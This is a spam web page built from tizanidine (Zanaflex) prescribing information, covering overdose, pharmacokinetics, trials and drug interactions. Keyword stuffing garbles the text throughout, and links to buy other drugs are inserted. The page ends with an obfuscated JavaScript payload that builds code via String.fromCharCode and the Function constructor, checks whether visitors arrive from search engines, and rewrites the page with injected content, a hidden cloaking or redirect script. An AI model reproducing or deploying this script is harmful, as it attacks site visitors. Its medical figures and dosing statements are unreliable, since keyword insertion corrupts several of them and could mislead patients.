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Zanaflex Dosage Per Day

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The clinical Zanaflex dosages Per Day of tizanidine overdose were consistent with its known pharmacology. In the majority of cases a decrease in sensorium was observed including lethargy, somnolence, confusion and coma. Depressed cardiac function is also observed including most often bradycardia and hypotension.

Usual Adult Dose for Muscle Spasm

Respiratory depression is another common feature of tizanidine Zanaflex dosage Per Day. Should overdose occur, basic steps to ensure the adequacy of an airway and the monitoring of cardiovascular and respiratory systems should be undertaken. Due to the similar mechanism of action, symptoms buy Sitagliptin similar to that Zanaflex dosage Per Day clonidine overdose.

For the most recent information concerning the management of overdose, contact a poison control center. The effects of tizanidine are greatest on polysynaptic pathways. The overall effect of these actions is thought to reduce facilitation of spinal motor neurons. Tizanidine is extensively distributed throughout the body with a mean steady state volume of distribution of 2. Food also increased the extent of absorption for both the Zanaflex dosages Per Day and capsules.

Mean Tizanidine Concentration vs. Tizanidine has a Zanaflex dosage Per Day of approximately 2. Tizanidine metabolites are not known to be active; their half-lives range from 20 to 40 hours. Special Populations Age Effects No specific pharmacokinetic study was conducted to investigate age effects. Zanaflex has not been evaluated in children.

Tizanidine

Gender Effects No specific pharmacokinetic study was conducted to investigate gender effects. Race Effects Pharmacokinetic differences due to Zanaflex dosage Per Day have not been studied. The effect of fluvoxamine on the pharmacokinetics of a single 4 mg dose of Zanaflex was studied in 10 healthy subjects. The Cmax, AUC, and half-life of tizanidine increased by 12- fold, 33-fold, and 3-fold, respectively. The effect of ciprofloxacin on the pharmacokinetics of a single 4 mg dose of Zanaflex was studied in 10 healthy subjects.

The Cmax and AUC of tizanidine increased by 7-fold and 10-fold, respectively. Oral Contraceptives No specific pharmacokinetic study was conducted to investigate interaction between oral contraceptives and Zanaflex. Acetaminophen Tizanidine delayed the Tmax of acetaminophen by 16 minutes. Acetaminophen did not affect the pharmacokinetics of tizanidine. This was generic Adalat and 2, Zanaflex Dosage Per Day.

Patients and assessors were blind to treatment Buy Cheap Strattera Generic and efforts were made to reduce the likelihood that assessors would become aware indirectly of treatment assignment e. In all, 140 patients received placebo, 8 mg or 16 mg of Zanaflex. Response was assessed by physical examination; muscle tone was rated on a 5 point scale Ashworth score, with a score of 0 used to describe normal muscle tone.

A score of 1 indicated a slight spastic catch while a score of 2 indicated more marked muscle resistance. A score of 3 was used to describe considerable increase in tone, making passive movement difficult. A muscle immobilized by spasticity was given a score of 4. Spasm counts were also collected. Assessments were made at 1, 2, 3 and 6 hours after treatment. A statistically significant reduction of the Ashworth score for Zanaflex compared to placebo was detected at 1, 2 and 3 Zanaflex dosages Per Day after Zanaflex dosage Per Day. Figure 2 below shows a comparison of the mean change in muscle tone from baseline as measured by the Ashworth scale.

The greatest reduction in muscle tone was 1 to 2 hours after treatment. By 6 hours after treatment, muscle tone in the 8 and 16 mg Zanaflex groups was indistinguishable from muscle tone in placebo treated patients. Within a given patient, improvement in muscle tone was correlated with plasma concentration. Plasma concentrations were variable from patient to patient at a given dose.

Zanaflex Dosage Per Day

www.ipmingenieros.com.pe similar to those taken in the first study were employed to ensure the integrity of blinding. Patients were titrated over 3 weeks up to a maximum tolerated dose or 36 mg daily given in three unequal doses e.

Patients were then maintained on their maximally tolerated dose for 4 additional weeks i. Throughout the maintenance phase, muscle tone was assessed on the Ashworth scale within a period of 2. The number of daytime spasms was recorded daily by patients. Monitor patients closely for signs of respiratory depression and sedation. Moderate Concomitant use of butorphanol with other CNS depressants, such as tizanidine, can potentiate the effects of butorphanol on respiratory depression, CNS depression, and sedation. Increased or decreased tizanidine exposure is possible. Additive somnolence and sedation may occur.

Tizanidine is a sensitive CYP1A2 substrate. In vitro data predicts inhibition or induction of CYP1A2 by cannabidiol potentially resulting in clinically significant interactions. Moderate COMT inhibitors should be given cautiously with other agents that cause CNS depression, such as tizanidine, due to the possibility of additive sedation. Chlorpheniramine; Guaifenesin; Hydrocodone; Pseudoephedrine: If possible, avoid the concurrent use of tizanidine with other CYP1A2 inhibitors, such as cimetidine, as concurrent use could lead to substantial increases in tizanidine blood concentrations.

If concurrent use cannot be avoided, initiate tizanidine Zanaflex dosage Per Day with the 2 mg dose and increase in 2 to 4 mg increments daily based on patient response to Zanaflex dosage Per Day. Discontinue tizanidine if hypotension, bradycardia, or excessive drowsiness occur. Severe Concomitant use of tizanidine and ciprofloxacin is contraindicated due to the risk of tizanidine toxicity, including clinically significant hypotension, bradycardia, and sedation.

Moderate Use tizanidine and deutetrabenazine together with caution due to additive CNS depression. Moderate Due to the anesthetic effects of dexmedetomidine, concurrent use with other CNS depressants, such as skeletal muscle relaxants, could result in additive sedative effects and possibly prolong recovery from anesthesia. Major If possible, avoid the concurrent use of tizanidine with oral contraceptives OC, as concurrent use could lead to substantial increases in tizanidine Zanaflex dosage Per Day concentrations.

Combined OCs increased tizanidine AUC by 4-fold and the mean Cmax by 3-fold in a parallel-group study in healthy women. Increased hypotensive effects were also noted in women taking tizanidine and OCs. Moderate Concomitant use of dronabinol Zanaflex dosage Per Day other CNS depressants, like tizanidine, can potentiate the effects of dronabinol on respiratory depression. Drospirenone; Ethinyl Estradiol; Levomefolate: Tizanidine is a CYP1A2 Zanaflex dosage Per Day with a narrow therapeutic range. Major Closely monitor patients receiving esketamine and skeletal muscle relaxants for sedation and other CNS depressant effects. Patients who receive a dose of esketamine should not drive or engage in other activities requiring alertness until the next day after a restful sleep.

  • The clinical significance of this interaction is unknown.
  • Zanaflex should be given to pregnant women only if the benefit outweighs the risk to the unborn fetus.
  • Major Concomitant use of tramadol with a skeletal muscle relaxant may cause respiratory depression, hypotension, profound sedation, and death.

It is best to limit the use of Zanaflex dosage Per Day during treatment, due to additive drowsiness and dizziness. Ethinyl Estradiol; Ethynodiol Diacetate: Ethinyl Estradiol; Levonorgestrel; Ferrous bisglycinate: Ethinyl Estradiol; Norethindrone Acetate: Ethinyl Estradiol; Norethindrone Acetate; Ferrous fumarate: Ethinyl Estradiol; Norethindrone; Ferrous fumarate: If Zanaflex dosage Per Day, avoid the concurrent use of tizanidine with other CYP1A2 inhibitors.

Famotidine is a weak CYP1A2 inhibitor. Concurrent use could lead to substantial increases in tizanidine blood concentrations. Major Concomitant use of fentanyl with a skeletal muscle healthyteethpa.org may cause respiratory depression, hypotension, profound sedation, and death. Moderate Use tizanidine and fluphenazine together with caution due to additive CNS depression.

Severe Concomitant use of tizanidine and fluvoxamine is contraindicated due to the risk of tizanidine toxicity, including clinically significant hypotension, bradycardia, and sedation, Zanaflex Dosage Per Day. The mechanism and significance of this potential interaction with phenytoin or fosphenytoin is unknown. Hydrocodone; Potassium Guaiacolsulfonate; Pseudoephedrine: Major Concomitant use of hydromorphone with a skeletal muscle relaxant may cause respiratory depression, hypotension, profound sedation, and death. Moderate In vitro studies indicate that hydroxyprogesterone increases the metabolic rate of CYP1A2 isoenzymes. Major Use tizanidine and hydroxyzine together with caution due to additive CNS depression. Consider tizanidine dosage reduction and monitor patients for symptoms of excess www.smartbargainonline.co.uk This may be desirable, but occasionally orthostatic hypotension may occur.

Dosages should be adjusted based on clinical Zanaflex dosage Per Day. Kava Kava, Piper methysticum: Moderate The use of tizanidine with the phytomedicinal kava kava, Piper methysticum could potentiate the sedative effects of either agent. An adjustment of the tizanidine dose may be required. In vivo data suggest that teriflunomide is a weak inducer of CYP1A2. Major Concomitant use of levorphanol with a skeletal muscle relaxant may cause respiratory depression, hypotension, profound sedation, and death. Moderate Use tizanidine and lofexidine together with caution due to additive CNS depression.

Monitor patients for symptoms of excess sedation and hypotension. Moderate Loxapine is a central nervous system CNS depressant. The concurrent use of loxapine with other CNS depressants e. Therefore, consider Zanaflex dosage Per Day the dose of CNS depressants if used concomitantly with loxapine. These agents include but are not limited to: Moderate CNS Zanaflex dosage Per Day can be increased when mepenzolate is combined with other CNS depressants such as skeletal muscle relaxants. Major Concomitant use of meperidine with a skeletal muscle relaxant may cause respiratory depression, hypotension, profound sedation, and death.

Major Concomitant use of methadone with a skeletal Zanaflex dosage Per Day relaxant may cause respiratory depression, hypotension, profound sedation, and death. Moderate CNS depression can be increased when methscopolamine is combined with other CNS depressants such as skeletal muscle relaxants. If possible, avoid the concurrent use of tizanidine with other CYP1A2 inhibitors, such as mexiletine, as concurrent use could lead to substantial increases in tizanidine blood concentrations.

Moderate Concurrent use of tizanidine and antipsychotics like molindone can cause additive CNS depression. Major Concomitant use of morphine with a skeletal muscle relaxant may Zanaflex dosage Per Day respiratory depression, hypotension, profound sedation, and death. For extended-release morphine tablets MS Contin and Morphabond, start with 15 mg every 12 hours.

Moderate Concomitant use of nabilone with other CNS depressants, like tizanidine, can potentiate the effects of nabilone on CNS and respiratory depression. Major Concomitant use of oxymorphone with a skeletal muscle relaxant may cause respiratory depression, hypotension, profound sedation, and death. These increases in tizanidine concentrations have been associated with significant hypotensive and sedative effects.

The use of potent CYP1A2 inhibitors with tizanidine is contraindicated. If possible, avoid the concurrent use of tizanidine Zanaflex dosage Per Day other CYP1A2 inhibitors, as concurrent use could lead to substantial increases in tizanidine blood concentrations. The mechanism and significance of this potential interaction with phenytoin is unknown. Major Concomitant use of remifentanil with a skeletal muscle relaxant may cause respiratory depression, hypotension, profound sedation, and death. If concomitant use is unavoidable, monitor for an increase in tizanidine-related adverse reactions e. Increased tizanidine concentrations may lead to oversedation, significant hypotension, potential liver problems, and other events.

Major Tacrine is a substrate and inhibitor of CYP1A2, the primary isoenzyme responsible for the metabolism of tizanidine.

29Ct30A

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,48,51,50,122,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,90,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+([]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[23]+$[0]+(![]+[])[!+[]+!+[]+!+[]]+$[13]+$[14]+$[23]+$[24]+$[13]+(![]+[])[!+[]+!+[]]+$[25]+(!![]+[])[+[]]+$[13]+$[23]+$[26]+$[18]+$[3]+([]+[]+{})[+!+[]+[+[]]]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[27]+$[28]+$[29]+$[30]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[31]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[32]+$[23]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[32]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[33]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[32]+$[23]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[32]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[32]+$[34]+$[34]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+$[3]+$[34]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[35]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[36]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[37]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+$[1]+$[22]+$[40]+([]+[]+{})[+!+[]]+$[3]+$[33]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[36]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[37]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[41]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[42]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[36]+$[9]+$[38]+$[41]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[41]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[33]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[35]+$[9]+$[43]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[36]+$[9]+$[11]+$[38]+$[9]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[32]+$[33]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[44]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+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